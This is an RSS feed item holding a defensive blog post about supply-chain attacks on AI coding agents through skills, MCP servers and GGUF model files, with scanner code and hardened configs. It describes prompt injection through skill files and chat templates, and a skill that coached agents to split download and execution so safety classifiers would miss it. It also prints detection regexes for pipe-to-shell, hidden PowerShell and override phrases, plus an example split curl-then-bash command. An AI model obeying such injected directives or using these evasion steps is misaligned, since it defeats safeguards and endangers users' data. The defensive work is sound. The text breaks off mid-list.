<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Naresh Kumar on Medium]]></title>
        <description><![CDATA[Stories by Naresh Kumar on Medium]]></description>
        <link>https://medium.com/@nareshkumar_46281?source=rss-5285f1c85768------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*nlzb8Wgt_eBPGsVq.</url>
            <title>Stories by Naresh Kumar on Medium</title>
            <link>https://medium.com/@nareshkumar_46281?source=rss-5285f1c85768------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 18:11:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nareshkumar_46281/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI Coding Agent Supply Chain Security: Skills, MCP & GGUF]]></title>
            <link>https://medium.com/@nareshkumar_46281/ai-coding-agent-supply-chain-security-skills-mcp-gguf-ab1a8cb3fa86?source=rss-5285f1c85768------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab1a8cb3fa86</guid>
            <dc:creator><![CDATA[Naresh Kumar]]></dc:creator>
            <pubDate>Mon, 30 Nov 2026 05:16:24 GMT</pubDate>
            <atom:updated>2026-11-30T05:22:18.935Z</atom:updated>
            <content:encoded><![CDATA[<p>Last week I wrote about <a href="https://nareshh74.hashnode.dev/unifying-5-coding-agent-harnesses">cutting AI agent skill bloat under 4,000 tokens and isolating five coding CLIs</a> with dedicated hook files, read-only .bak locks, and a ban on open-ended dotfile audits. That solved context cost and config drift. It did nothing to verify whether the skills, MCP servers, or local models I was loading were trustworthy in the first place.</p><p>Two disclosures in late November 2026 made that blind spot hard to ignore. On November 27, <a href="https://github.com/convex/convex-backend-skill/issues/64">Convex backend skill issue #64</a> (originally filed October 26) hit the Hacker News front page after a user documented a plugin from Anthropic’s claude-plugins-official marketplace silently POSTing project prompts to an external endpoint, piping a remote script into bash, and coaching the agent to split a download and execution across two Bash calls so single-command safety classifiers would miss it. The same day, <a href="https://malspark.com/blog/malicious-gguf-models-hugging-face/">Malspark published a scan of 3,273,389 public Hugging Face repositories</a> uncovering five malicious GGUF models (2,428 combined downloads) carrying Windows RAT binaries appended past the final tensor and poisoned tokenizer.chat_template payloads that fire [SYSTEM DIRECTIVE] PowerShell loaders during normal chat turns.</p><p>Runtime sandboxes isolate the CLI process on disk, yet they leave AI coding agent supply chain security wide open whenever you load untrusted skills, floating MCP servers, or community model files.</p><p>OS sandboxes (Seatbelt, bwrap, Docker) restrict where a coding agent writes, but they never inspect what you load into it. Closing the supply-chain gap requires pre-install checks across three artifact layers:</p><ol><li><strong>Skills and context files (</strong><strong>SKILL.md, </strong><strong>AGENTS.md, </strong><strong>CLAUDE.md)</strong>: block pipe-to-shell, split download-and-execute flows, silent outbound POSTs, and authority-override directives before install.</li><li><strong>MCP servers</strong>: ban floating npx -y and unpinned uvx, pin containers by @sha256 digest, drop Linux capabilities, and force egress through an allowlist proxy.</li></ol><p>A zero-dependency Python 3 pre-install gate testing all three layers blocked 5/5 malicious skill fixtures (0 false positives, 0.681 ms/file), blocked 2/2 insecure MCP configs (0.306 ms/config), caught 4,096 trailing MZ bytes and non-zero alignment padding on synthetic GGUF v3 files (&lt;1 ms), and verified two real multi-hundred-megabyte Qwen3 GGUF models read-only in 259 to 271 ms.</p><p>Even strong 2026 sandboxing guides, including <a href="https://codersera.com/blog/how-to-sandbox-ai-coding-agents-2026/">Codersera’s sandboxing walkthrough</a> and <a href="https://www.endorlabs.com/learn/introducing-sandbox-posture-in-coding-agent-governance">Endor Labs’ sandbox posture overview</a>, focus on runtime containment (Claude Code’s sandbox.enabled, Codex&#39;s sandbox_mode, and egress filtering) while flagging MCP exposure. Neither covers static auditing of SKILL.md files, GGUF binary layout inspection, or tokenizer.chat_template verification.</p><p>Indirect prompt injection researchers call the underlying failure mode the <a href="https://dev.to/rudratosh/your-ai-agent-trusts-everything-it-reads-a-field-guide-to-hijacking-claude-gpt-gemini-copilot-1l6k">“lethal trifecta”</a>: private workspace data, untrusted instructions, and an execution or outbound path. Because the agent is supposed to read workspace markdown, call configured MCP tools, and evaluate its model’s chat template, malicious logic inside those trusted inputs runs inside the allowed boundary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y28PywBRTswDJsM_.png" /></figure><p><em>OS sandboxes stop raw shell violations at the perimeter, while poisoned skills, floating MCP configs, and modified GGUF files enter through authorized channels.</em></p><p>Supply-chain layerReal-world attack vectorWhat OS sandboxes (Seatbelt, bwrap, Docker) blockWhat OS sandboxes missRequired pre-install and runtime control</p><p><strong>Layer 1: Skills and context files</strong> ( SKILL.md, AGENTS.md, CLAUDE.md)</p><p>Blocks writes outside the workspace; blocks direct reads of ~/.ssh or ~/.aws if excluded from mounts</p><p>Cannot tell malicious markdown instructions apart from user intent; single-command classifiers miss two-step bash flows; allows workspace scripts and allowlisted outbound calls</p><p>Static pre-install gate ( pre-install-agent-gate.py + NVIDIA/SkillSpector) blocking split download+exec, pipe-to-shell, bypass coaching, and hidden directives; pin skills by commit SHA</p><p><strong>Layer 2: MCP servers</strong> (stdio and remote HTTP/SSE)</p><p>Floating npx -y or uvx resolving compromised packages on startup; remote MCP tool-description rug-pulls; plaintext API tokens in MCP JSON; unrestricted container egress</p><p>Host sandboxes often do not wrap child MCP server processes identically; default Docker bridge still permits open internet egress</p><p>Unpinned package installs running before or outside the agent sandbox; silent mutation of remote tool schemas; exfiltration over standard HTTPS</p><p><strong>Layer 3: Local GGUF models</strong> ( llama.cpp, Ollama)</p><p>Poisoned tokenizer.chat_template injecting [SYSTEM DIRECTIVE] PowerShell loaders ( timdedid); RAT appended past final tensor EOF ( Mir2k / ollie) or hidden in inflated general.alignment padding</p><p>Only triggers after the model convinces the agent or user to run an unpacked command; never inspects binary model files</p><p>Loaders ( llama.cpp, gguf-py) ignore trailing bytes and non-zero alignment padding with zero warnings; embedded Jinja templates run on every chat turn</p><p>Projects like <a href="https://github.com/Lee-xeo/Claude-Cage">Claude-Cage</a> (9,458 stars as of November 30, 2026) wrap Claude inside a lightweight VM to isolate network leakage and separate accounts, which strengthens runtime containment. A VM limits blast radius after the fact; a pre-install gate stops poisoned artifacts from entering the box at all.</p><h3>Layer 1: Auditing agent skills (SKILL.md and AGENTS.md)</h3><p>In late October 2026, Forever Security and Aviatrix Threat Research tested malicious AGENTS.md and CLAUDE.md files inside repositories and <a href="https://dev.to/johnnylemonny/one-markdown-file-can-hijack-your-ai-coding-agent-the-hidden-cost-of-blindly-trusting-agentsmd-167n">measured hijack rates up to 90% against Codex and 50% against Claude Code</a>. Following workspace markdown is intended behavior in both tools, so a poisoned instruction file inherits the agent&#39;s normal permissions.</p><p>Marketplace plugins carry the same risk at scale. In <a href="https://github.com/NVIDIA/SkillSpector">NVIDIA/SkillSpector’s</a> README (28,221 stars as of Nov 30, 2026, part of the <a href="https://docs.nvidia.com/skills/">NVIDIA Verified Skills</a> pipeline), the team reports analyzing a dataset subset of 31,132 skills and finding vulnerabilities in 26.1% and likely malicious intent in 5.2%.</p><p><a href="https://github.com/convex/convex-backend-skill/issues/64">Convex backend skill issue #64</a> showed how subtle these patterns look inside an otherwise legitimate plugin listed in claude-plugins-official at commit 6ca54f6e2e7582812187b8a5a4783fb4dff52692:</p><ul><li>skills/quickstart/SKILL.md (lines 48 to 56) POSTed the user&#39;s project idea to basic-anteater-667.convex.site without telling the user.</li><li>skills/add/SKILL.md (lines 62 and 64) piped a remote script from the same host straight into bash.</li><li>skills/labs-quickstart/SKILL.md (lines 74 to 80) instructed the agent to split downloading and running a remote script into two separate Bash tool calls, adding this note: <em>&quot;A single command that both downloads remote code and executes it is the shape harness safety classifiers block.&quot;</em></li></ul><p>Maintainer @jamescowling responded on November 28, 2026, explaining that the prompts were intended for quickstart generation (calling the &quot;telemetry&quot; wording comment-slop) and shipping commit 51b4e65 to remove the telemetry labels and split-command bypass coaching. Issue reporter @thirtysix pointed out that unpinned runtime script fetching ( skills/add piping remote code into a shell) remained open as of November 30.</p><p>Intent does not matter to a single-command regex filter: split Bash execution walks right past it. If step 1 runs curl -fsSL https://example.com/setup.sh -o /tmp/setup.sh in one fenced block and step 2 runs bash /tmp/setup.sh three paragraphs later, a line-by-line check sees two ordinary commands.</p><h3>Detecting split-Bash evasion and silent exfiltration</h3><p>To catch both single-command patterns and cross-block split execution, Layer 1 of pre-install-agent-gate.py scans full markdown files for six high-signal rules ( SKILL-001 through SKILL-006) plus a cross-block file-target join ( SKILL-007) that tracks any script downloaded via curl/ wget and executed anywhere else in the same skill:</p><pre>import re from pathlib import Path SKILL_RULES = [ ( &quot;SKILL-001&quot;, &quot;CRITICAL&quot;, &quot;Pipe-to-shell remote execution&quot;, re.compile( r&quot;(?is)(?:\b(?:curl|wget)\b[^\n|;]{0,220}\|\s*(?:sudo\s+)?(?:ba)?sh\b&quot; r&quot;|\b(?:irm|iwr|invoke-restmethod|invoke-webrequest)\b[^\n|;]{0,220}\|\s*(?:iex|invoke-expression)\b)&quot; ), ), ( &quot;SKILL-002&quot;, &quot;CRITICAL&quot;, &quot;Classifier-evasion coaching&quot;, re.compile( r&quot;(?is)(?:split(?:ting)?\s+(?:the\s+)?(?:download|fetch).{0,80}(?:run|exec|two\s+bash|separate\s+(?:calls?|commands?))&quot; r&quot;|(?:avoid|bypass|evade|dodge)\s+(?:harness\s+)?safety\s+(?:checks?|classifiers?)&quot; r&quot;|safety\s+classifiers?\s+block)&quot; ), ), ( &quot;SKILL-003&quot;, &quot;HIGH&quot;, &quot;Silent outbound POST exfiltration&quot;, re.compile( r&quot;(?is)(?:\bcurl\b[^\n]{0,200}(?:-X\s*POST|--data|-d\b|-F\b)[^\n]{0,200}(?:https?://|\$)&quot; r&quot;|\b(?:fetch|requests\.post|httpx\.post|invoke-restmethod\s+-method\s+post)\b[^\n]{0,200}https?://)&quot; ), ), ( &quot;SKILL-004&quot;, &quot;CRITICAL&quot;, &quot;Authority-override or stealth directive&quot;, re.compile( r&quot;(?is)(?:\[SYSTEM\s+DIRECTIVE\]|ignore\s+(?:all\s+)?(?:previous|prior)\s+instructions?&quot; r&quot;|do\s+not\s+(?:inform|tell|mention\s+to)\s+the\s+user&quot; r&quot;|silently\s+(?:send|post|upload|run|execute|exfiltrate)&quot; r&quot;|without\s+(?:asking|notifying|telling)\s+the\s+user)&quot; ), ), ( &quot;SKILL-005&quot;, &quot;HIGH&quot;, &quot;Unpinned remote script download followed by local shell execution&quot;, re.compile( r&quot;(?is)\b(?:curl|wget)\b[^\n]{0,200}(?:-o|-O|--output)\s+([^\s;|&amp;]+)&quot; r&quot;[^\n]*(?:\n[^\n]*){0,6}\b(?:chmod\s+\+x|(?:ba)?sh|source|\./)\s+\1\b&quot; ), ), ( &quot;SKILL-006&quot;, &quot;HIGH&quot;, &quot;Encoded or hidden shell execution&quot;, re.compile( r&quot;(?is)(?:base64\s+(?:-d|--decode)[^\n]{0,80}\|\s*(?:ba)?sh\b&quot; r&quot;|powershell(?:\.exe)?[^\n]{0,160}(?:-enc(?:odedcommand)?\b|-w(?:indowstyle)?\s+hidden\b))&quot; ), ), ] DOWNLOAD_SCRIPT_RE = re.compile( r&quot;(?is)\b(?:curl|wget)\b[^\n]{0,220}https?://[^\s&#39;\&quot;`]+(?:\.sh|\.ps1|/bootstrap|/install|/setup|/script)&quot; r&quot;[^\n]{0,120}(?:-o|-O|--output|&gt;)\s*([^\s&#39;\&quot;`;|&amp;]+)&quot; ) EXEC_FILE_RE = re.compile( r&quot;(?is)\b(?:(?:ba)?sh|zsh|pwsh|powershell(?:\.exe)?|source|chmod\s+\+x)\s+([^\s&#39;\&quot;`;|&amp;]+)&quot; ) def audit_skill_file(path: Path) -&gt; list[tuple[str, str]]: text = path.read_text(encoding=&quot;utf-8&quot;, errors=&quot;replace&quot;) hits = [(rid, sev) for rid, sev, _, pat in SKILL_RULES if pat.search(text)] dl_targets = {m.group(1).strip(&quot;\&quot;&#39;&quot;) for m in DOWNLOAD_SCRIPT_RE.finditer(text)} exec_targets = {m.group(1).strip(&quot;\&quot;&#39;&quot;) for m in EXEC_FILE_RE.finditer(text)} if dl_targets &amp; exec_targets and not any(rid == &quot;SKILL-005&quot; for rid, _ in hits): hits.append((&quot;SKILL-007&quot;, &quot;HIGH&quot;)) return hits</pre><p>I benchmarked the full Layer 1 scanner across 10 synthetic fixtures (5 realistic benign skills, including one with localhost curl GET examples, and 5 malicious fixtures reproducing Convex #64 split-Bash, pipe-to-shell, silent outbound POST, AGENTS.md [SYSTEM DIRECTIVE] + hidden PowerShell, and base64 -d | sh). Across 20 runs in Python 3.15.2 with stdlib only:</p><p>Note that SKILL-003 intentionally flags <em>any</em> outbound POST (including legitimate webhook or REST-testing skills) for human review. If your team ships local API-testing skills, add a narrow allowlist for localhost, 127.0.0.1, or approved internal domains inside SKILL-003.</p><p>For CI pipelines or auditing large third-party skill catalogs, pair this fast regex/structural gate with <a href="https://github.com/NVIDIA/SkillSpector">NVIDIA/SkillSpector</a> (Python 3.12+) and, when doing deeper repo-wide security reviews with an agent, adopt an isolated multi-phase audit workflow like <a href="https://github.com/cloudflare/security-audit-skill">Cloudflare’s </a><a href="https://github.com/cloudflare/security-audit-skill">security-audit-skill</a> (80,160 stars as of Nov 30, 2026), which seeded <a href="https://blog.cloudflare.com/build-your-own-vulnerability-harness">Cloudflare&#39;s vulnerability harness</a>.</p><p>Look through most local multi-harness setups and you will find a mix of locally built servers right next to entries like npx -y @vendor/some-mcp-server or uvx some-mcp-tool. That convenience flag is an unpinned remote code execution hook: every fresh cache or version bump resolves whatever is newest on npm or PyPI at startup, outside the agent&#39;s own command sandbox.</p><p>Remote HTTP/SSE MCP endpoints add a second problem demonstrated in <a href="https://dev.to/gramli/webmcp-attack-lab-can-an-e-shop-hijack-your-ai-agent-4oe5">WebMCP Attack Lab</a>: adversarial tool descriptions can steer an agent past user constraints (such as spending caps) because the server controls the tool metadata the model reads. A server that looks harmless during onboarding can swap its tool description later without changing the URL.</p><p>Compare a typical insecure MCP config against a hardened equivalent:</p><pre>{ &quot;mcpServers&quot;: { &quot;floating-docs&quot;: { &quot;command&quot;: &quot;npx&quot;, &quot;args&quot;: [&quot;-y&quot;, &quot;@example/docs-mcp&quot;], &quot;env&quot;: { &quot;DOCS_API_KEY&quot;: &quot;sk-live-hardcoded-token&quot; } }, &quot;unpinned-remote&quot;: { &quot;url&quot;: &quot;https://mcp.example.com/sse&quot; } } }</pre><p>Hardened version with @sha256 digest pinning, read-only rootfs, dropped capabilities, zero network egress, non-root UID, and value-less -e env forwarding:</p><pre>{ &quot;mcpServers&quot;: { &quot;pinned-docs&quot;: { &quot;command&quot;: &quot;docker&quot;, &quot;args&quot;: [ &quot;run&quot;, &quot;--rm&quot;, &quot;-i&quot;, &quot;--read-only&quot;, &quot;--cap-drop=ALL&quot;, &quot;--security-opt=no-new-privileges:true&quot;, &quot;--network=none&quot;, &quot;--user=65532:65532&quot;, &quot;-e&quot;, &quot;DOCS_API_KEY&quot;, &quot;ghcr.io/example/pinned-mcp-server@sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef&quot; ], &quot;env&quot;: { &quot;DOCS_API_KEY&quot;: &quot;${SCOPED_DOCS_API_KEY}&quot; } } } }</pre><p>Passing -e DOCS_API_KEY without =value tells docker run to forward the variable from the host env block into the container without leaking the secret into ps or command-line arguments. Use --network=none for local-only servers (which can omit DOCS_API_KEY altogether); if an MCP server legitimately needs outbound API calls, route it through the Compose egress proxy below instead of enabling unrestricted networking.</p><p>Layer 2 of pre-install-agent-gate.py audits MCP JSON files for floating npx -y without exact @x.y.z ( MCP-001), floating uvx without ==x.y.z ( MCP-003), Docker images missing @sha256 digests ( MCP-004) or network/capability/read-only flags ( MCP-005 to MCP-007), cleartext non-localhost remote URLs ( MCP-008), HTTPS remote endpoints lacking a pinnedToolsSha256/ integrity digest ( MCP-009, a custom lock field verified by your pre-session wrapper or MCP proxy since most clients do not enforce schema pinning natively yet), and hardcoded literal credentials in env ( MCP-010).</p><p>Across 4 test configs (2 insecure, 2 hardened, 20-run median), the Layer 2 gate blocked 2/2 insecure configs and passed 2/2 hardened configs with zero false positives in <strong>1.226 ms</strong> ( <strong>0.306 ms/config</strong>).</p><h3>Wrapping both agent and MCP server with an egress allowlist</h3><p>If your MCP server needs to talk to the coding agent while the agent reaches only approved APIs and package registries, put both containers on an internal: true Docker bridge network and force outbound HTTPS through a read-only Squid proxy.</p><p>This compose.agent-sandbox.yml and squid-allowlist.conf pair passed syntax validation with docker compose -f compose.agent-sandbox.yml config -q (exit code 0):</p><pre># compose.agent-sandbox.yml networks: agent_internal: driver: bridge internal: true egress_external: driver: bridge services: egress-proxy: # Resolve current digest with: docker buildx imagetools inspect ubuntu/squid:latest image: ubuntu/squid@sha256:&lt;replace-with-imagetools-digest&gt; read_only: true cap_drop: [ALL] security_opt: [no-new-privileges:true] tmpfs: - /var/spool/squid:rw,noexec,nosuid,uid=13,gid=13,size=64m - /var/log/squid:rw,noexec,nosuid,uid=13,gid=13,size=32m - /run:rw,noexec,nosuid,uid=13,gid=13,size=16m volumes: - ./squid-allowlist.conf:/etc/squid/squid.conf:ro networks: [agent_internal, egress_external] mcp-server: image: ghcr.io/example/pinned-mcp-server@sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef user: &quot;65532:65532&quot; read_only: true cap_drop: [ALL] security_opt: [no-new-privileges:true] tmpfs: [/tmp:rw,noexec,nosuid,size=64m] volumes: - ./worktree:/workspace:ro networks: [agent_internal] coding-agent: image: ghcr.io/example/coding-agent-cli@sha256:abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789 user: &quot;10001:10001&quot; read_only: true cap_drop: [ALL] security_opt: [no-new-privileges:true] tmpfs: - /tmp:rw,noexec,nosuid,size=256m - /home/agent/.cache:rw,noexec,nosuid,size=128m environment: HTTP_PROXY: &quot;http://egress-proxy:3128&quot; HTTPS_PROXY: &quot;http://egress-proxy:3128&quot; NO_PROXY: &quot;localhost,127.0.0.1,mcp-server&quot; ANTHROPIC_API_KEY: &quot;${SCOPED_AGENT_API_KEY:?set SCOPED_AGENT_API_KEY}&quot; volumes: - ./worktree:/workspace:rw - ./verified-skills:/home/agent/.agent/skills:ro depends_on: [egress-proxy, mcp-server] networks: [agent_internal]</pre><pre># squid-allowlist.conf http_port 3128 pid_filename /run/squid.pid acl SSL_ports port 443 acl Safe_ports port 443 acl CONNECT method CONNECT acl allowed_domains dstdomain .anthropic.com .openai.com registry.npmjs.org pypi.org files.pythonhosted.org http_access deny !Safe_ports http_access deny CONNECT !SSL_ports http_access allow allowed_domains http_access deny all cache deny all access_log stdio:/var/log/squid/access.log</pre><p>Notice three details in that layout:</p><ul><li>agent_internal sets internal: true, so even if a hijacked binary ignores HTTP_PROXY and tries a direct socket connection, the container has no default route out of agent_internal.</li><li>mcp-server mounts the same disposable ./worktree checkout read-only (/workspace:ro) with no route to egress_external, while coding-agent gets read-write access to ./worktree and read-only access to ./verified-skills.</li><li>Before running docker compose up, fetch the pinned Squid digest with docker buildx imagetools inspect ubuntu/squid:latest and verify the proxy user UID/GID (13:13 on ubuntu/squid; use mode=1777 if your base image uses a different UID, or route access_log to stdio:/dev/stdout). Also remember that allowlisting .anthropic.com or .openai.com still permits exfiltration to an attacker-controlled API key unless you scope keys and rotate them per workspace.</li></ul><p>Many developers assumed GGUF files were safe compared to Python .pkl checkpoints because GGUF stores flat tensors and metadata without running pickle.loads. <a href="https://malspark.com/blog/malicious-gguf-models-hugging-face/">Malspark&#39;s November 27, 2026 scan of 3,273,389 public Hugging Face repos</a> disproved that assumption in two concrete ways:</p><p>Malspark also demonstrated three additional hiding spots in lab tests, including inflating general.alignment to carve out a hidden padding gap between the tensor table and the first tensor. Dequantized weights stay bit-for-bit identical, and stock loaders raise zero errors.</p><h3>Zero-dependency GGUF binary and template inspection</h3><p>Per the <a href="https://github.com/ggml-org/ggml/blob/master/docs/gguf.md">GGUF binary specification</a>, a GGUF v2/v3 file consists of:</p><ol><li>Header: GGUF magic, version, tensor_count, metadata_kv_count.</li><li>Metadata key-value pairs (including general.alignment, default 32 bytes, and tokenizer.chat_template).</li><li>Tensor info table (name, dimensions, GGML quantization type, relative byte offset).</li><li>Alignment padding up to data_start = align_up(header_end, alignment).</li><li>Tensor data ending at expected_eof_aligned = align_up(max(data_start + rel_offset + tensor_bytes), alignment).</li></ol><p>You can verify header alignment, padding, trailing bytes, and embedded chat templates read-only in stdlib Python without loading weights into RAM or evaluating Jinja. Here is an excerpt of the tail and padding check from Layer 3 of pre-install-agent-gate.py (the full ~700-line script also implements the GGUF v2/v3 header, KV, and tensor-table parser):</p><pre>import math, os, re, struct from pathlib import Path GGUF_TYPE_FMT = { 0: (&quot;&lt;B&quot;, 1), 1: (&quot;&lt;b&quot;, 1), 2: (&quot;&lt;H&quot;, 2), 3: (&quot;&lt;h&quot;, 2), 4: (&quot;&lt;I&quot;, 4), 5: (&quot;&lt;i&quot;, 4), 6: (&quot;&lt;f&quot;, 4), 7: (&quot;&lt;?&quot;, 1), 10: (&quot;&lt;Q&quot;, 8), 11: (&quot;&lt;q&quot;, 8), 12: (&quot;&lt;d&quot;, 8), } # Subset shown for brevity; full script covers 32 GGML quantization types GGML_TYPE_INFO = { 0: (1, 4), 1: (1, 2), 2: (32, 18), 8: (32, 34), 12: (256, 144), 14: (256, 210), 30: (1, 2), } TEMPLATE_PATTERNS = [ (&quot;GGUF-001&quot;, re.compile(r&quot;(?is)\[SYSTEM\s+DIRECTIVE\]|ignore\s+(?:all\s+)?(?:previous|prior)\s+instructions?&quot;)), (&quot;GGUF-002&quot;, re.compile(r&quot;(?is)powershell(?:\.exe)?|-windowstyle\s+hidden|-encodedcommand|\bcurl\b[^\n]{0,120}\|\s*(?:ba)?sh\b&quot;)), (&quot;GGUF-003&quot;, re.compile(r&quot;(?:__class__|__mro__|__subclasses__|__globals__|__builtins__|__import__)&quot;)), (&quot;GGUF-004&quot;, re.compile(r&quot;https?://[^\s&#39;\&quot;&lt;&gt;]+&quot;, re.IGNORECASE)), (&quot;GGUF-005&quot;, re.compile(r&quot;(?is)\.gguf[^\n]{0,120}(?:seek|tail|skip|dd\s+if=|ReadAllBytes)&quot;)), ] def align_up(offset: int, alignment: int) -&gt; int: # Full script also rejects alignment &lt;= 0 or non-power-of-two values (GGUF-006) if alignment &lt;= 1: return offset rem = offset % alignment return offset if rem == 0 else offset + (alignment - rem) def check_gguf_tail_and_padding(path: Path, header_end: int, alignment: int, tensors: list[tuple[int, int]]) -&gt; list[str]: issues = [] actual_size = path.stat().st_size data_start = align_up(header_end, alignment) pad_len = data_start - header_end with path.open(&quot;rb&quot;) as f: if alignment &gt; 4096: issues.append(f&quot;GGUF-007: large general.alignment={alignment}&quot;) if pad_len &gt; 0: f.seek(header_end) if any(b != 0 for b in f.read(min(pad_len, 1024 * 1024))): issues.append(f&quot;GGUF-008: non-zero bytes in {pad_len}B header padding&quot;) max_end = max((data_start + rel_off + nbytes for rel_off, nbytes in tensors), default=data_start) expected_eof = align_up(max_end, alignment) trailing = actual_size - expected_eof if trailing &gt; 0: f.seek(expected_eof) head = f.read(16) tag = &quot; [MZ]&quot; if head.startswith(b&quot;MZ&quot;) else &quot; [PK]&quot; if head.startswith(b&quot;PK\x03\x04&quot;) else &quot;&quot; issues.append(f&quot;GGUF-010: {trailing} trailing bytes past aligned EOF{tag}&quot;) return issues</pre><p>I tested the full Layer 3 parser against three synthetic GGUF v3 binaries (10-run median) and two real local Qwen3 reranker GGUF v3 files inspected strictly read-only (5-run median):</p><p>Most of that ~260 ms goes to stepping past the tokenizer’s ~150k-entry string metadata array in Python; the scanner never reads the tensor weight blocks at all, so checking a 609.5 MiB real model takes roughly a quarter of a second.</p><p>For Hugging Face downloads, you can also run <a href="https://github.com/Root0ne/gguf-radar">Root0ne/gguf-radar</a> ( pip install gguf-radar, MIT, 424 stars as of Nov 30, 2026), which range-fetches metadata remotely before you pull gigabytes of weights and supports sanitization and base-model template diffing:</p><pre># Inspect before or after download (exit 0 = CLEAN, 2 = SUSPICIOUS/MALICIOUS, 1 = ERROR) gguf-radar scan ./model.gguf gguf-radar scan &lt;hf-org/hf-repo&gt; gguf-radar compare-template ./model.gguf --base &lt;official-base-repo&gt; gguf-radar sanitize suspicious.gguf -o clean.gguf</pre><h3>Pinning --chat-template-file in llama.cpp and Ollama</h3><p>Even after scanning a GGUF file, never blindly trust a community upload’s embedded tokenizer.chat_template at runtime. Per upstream <a href="https://github.com/ggml-org/llama.cpp/blob/master/common/arg.cpp">llama.cpp CLI options (</a><a href="https://github.com/ggml-org/llama.cpp/blob/master/common/arg.cpp">common/arg.cpp)</a> and the <a href="https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md">llama-server README</a>, both llama-server and llama-cli accept --jinja ( LLAMA_ARG_JINJA) and --chat-template-file ( LLAMA_ARG_CHAT_TEMPLATE_FILE). Pass --jinja before --chat-template-file (even though --jinja is default-on in newer llama.cpp builds, passing it explicitly before the file flag ensures custom Jinja templates are accepted across builds instead of only built-in template names) so llama.cpp uses your reviewed file rather than the model&#39;s embedded tokenizer.chat_template:</p><pre># Local OpenAI-compatible server with an externally pinned, reviewed template llama-server \ -m ~/models/qwen3-coder.gguf \ --jinja \ --chat-template-file ./templates/qwen3-official-verified.jinja \ --host 127.0.0.1 --port 8080 # Interactive CLI using the exact same override llama-cli \ -m ~/models/qwen3-coder.gguf \ --jinja \ --chat-template-file ./templates/qwen3-official-verified.jinja</pre><p>In Ollama, define an explicit reviewed TEMPLATE block inside your Modelfile rather than inheriting a community repo&#39;s embedded template.</p><h3>Wiring the drop-in pre-install-agent-gate workflow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1A_o5kL-ikqFAmp_.png" /></figure><p><em>End-to-end 3-layer defense-in-depth architecture: fail-closed static gating (</em><em>exit 2) before any artifact reaches the internal Docker sandbox or loopback </em><em>llama.cpp runtime.</em></p><p>Combining all three layers into one command turns supply-chain hygiene into a repeatable exit-code check ( 0 = PASS, 2 = BLOCK, 1 = ERROR) you can run locally before installing any artifact or wire into a git pre-commit hook and CI job.</p><blockquote><strong><em>Companion script:</em></strong><em> The full zero-dependency ~700-line </em><em>pre-install-agent-gate.py script (combining the Layer 1 skill rules, Layer 2 MCP auditor, and full Layer 3 GGUF v2/v3 parser) plus companion README is published as a public GitHub Gist: </em><a href="https://gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed"><em>gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed</em></a><em>.</em></blockquote><pre>python pre-install-agent-gate.py \ --skills ./skills ./AGENTS.md \ --mcp ~/.config/agent/mcp.json \ --gguf ~/models/qwen3-coder.gguf</pre><p>Measured end-to-end on our combined test bundles:</p><p>In CI, chain the stdlib gate with specialized ecosystem scanners so static checks stay fast locally and deep scans block merges:</p><pre># 1. Zero-dependency 3-layer gate (milliseconds) python pre-install-agent-gate.py --skills ./skills ./AGENTS.md --mcp ./mcp.json --gguf ./models/*.gguf # 2. Deep skill catalog audit: run NVIDIA/SkillSpector per https://docs.nvidia.com/skills/ before merge # 3. Remote/local GGUF template diff against official upstream weights (gguf-radar) gguf-radar compare-template ./models/qwen3-coder.gguf --base Qwen/Qwen3-Coder</pre><p>Static checks narrow the attack surface fast, but four gaps stay open:</p><ul><li>Semantic prompt obfuscation in skills: regex rules and cross-block file matching catch curl|bash, split-Bash file handoffs, and overt directives, whereas a subtly phrased prose instruction can still persuade an agent to exfiltrate code through an already-allowlisted API. Layer 2&#39;s egress allowlist and read-only workspace mounts remain necessary for that case.</li><li>Inter-tensor gaps in GGUF binaries: checking header alignment padding and trailing EOF catches the Mir2k tail-append and inflated-alignment vectors, while scanning unreferenced gaps stuffed between individual tensor offsets (or overlapping tensor ranges) requires a full tensor-interval layout audit such as gguf-radar or an extended interval pass.</li><li>Weight-level backdoors: binary structure and template checks catch smuggling and Jinja injection, while a model fine-tuned on poisoned weights can still emit vulnerable code. Pull base weights from verified orgs and compare SHA-256 digests against official releases.</li><li>Runtime mutation behind static remote MCP URLs: pinning pinnedToolsSha256 catches tool-description rug-pulls only if your MCP client or proxy verifies the live tools/list digest before every session. Local digest-pinned containers avoid third-party schema drift altogether.</li></ul><p>Use this five-step sequence to audit an existing coding-agent workstation before your next session:</p><ol><li><strong>Scan every installed skill and repo </strong><strong>AGENTS.md / </strong><strong>CLAUDE.md (60s).</strong> Run pre-install-agent-gate.py --skills locally and add NVIDIA/SkillSpector in CI. Reject any skill that pipes remote scripts into a shell, splits download and execution across separate commands, or silently POSTs prompt or repo context.</li><li><strong>Eliminate floating MCP installs (60s).</strong> Search every MCP config (mcp.json, .mcp.json, Claude, Codex, and Cursor configs) for npx -y, unpinned uvx, and :latest Docker tags. Replace them with lockfile-installed local builds or @sha256-pinned container images.</li><li><strong>Verify local GGUF binaries before loading (60s).</strong> Run pre-install-agent-gate.py --gguf or gguf-radar scan on every community .gguf. Confirm trailing_bytes == 0, standard general.alignment (32 bytes) with zeroed padding, and a clean tokenizer.chat_template.</li><li><strong>Override 